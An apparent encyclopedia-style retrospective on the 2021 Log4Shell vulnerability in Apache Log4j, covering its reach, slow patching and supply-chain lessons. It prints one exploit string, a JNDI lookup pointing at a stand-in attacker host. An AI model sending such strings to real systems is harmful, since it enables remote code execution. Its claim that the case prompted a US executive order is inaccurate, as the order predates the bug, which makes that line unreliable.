Back to the archive

The encyclopedia · Software & IT · Technical decision · 2021

Log4j's 'Log4Shell' bug was in everything — and the internet spent a month patching

A zero-day in Apache Log4j (CVE-2021-44228) allowed remote code execution on millions of servers. It was 'the biggest vulnerability in a decade.'

Apache Software Foundation · 2021-12

What happened

In December 2021, a critical zero-day vulnerability (CVE-2021-44228, nicknamed 'Log4Shell') was discovered in Apache Log4j, a ubiquitous Java logging library used in millions of applications and servers worldwide. The vulnerability allowed an attacker to execute arbitrary code on a server by sending a specially crafted string — as simple as entering '${jndi:ldap://attacker.com}' in a login field.

The vulnerability was catastrophic because Log4j was embedded in an enormous range of software: enterprise applications, cloud services, game servers (Minecraft), IoT devices, and government systems. Many organizations did not even know they were running Log4j, because it was a transitive dependency buried deep in their software stack.

The Apache Software Foundation released patches, but the remediation was slow and complex: organizations had to identify every instance of Log4j in their systems, patch each one, and verify the fix. The vulnerability was actively exploited within hours of disclosure. The case illustrated the fragility of the modern software supply chain: a single vulnerability in a widely used open-source library can compromise millions of systems simultaneously.

Why it happened

  • Log4j was embedded in millions of applications as a transitive dependency, often unknown to the organizations running it.
  • The vulnerability allowed remote code execution with a trivially simple exploit string.
  • Remediation was slow because organizations had to find and patch every instance of Log4j in their stack.
  • The vulnerability was actively exploited within hours of public disclosure.
What it costmillions of systems vulnerable; global patching effortcatastrophic

The lesson

The modern software stack is a tower of dependencies, and most organizations don't know what's in theirs. Log4j was everywhere. The question is not 'are we affected?' but 'can we find out first?'

Aftermath

Apache released patches and the CVE was assigned a 10.0 severity score. The case prompted the US government to issue an executive order on software supply chain security and accelerated adoption of software bills of materials (SBOMs). Log4j remains a reference point for supply chain risk.

Sources

spotted an error? The club wants to know.

Comments · 0

    Sign in to join the comments.

    More like this

    Somewhere, someone solved the problem this company failed at. 2nd Opinion →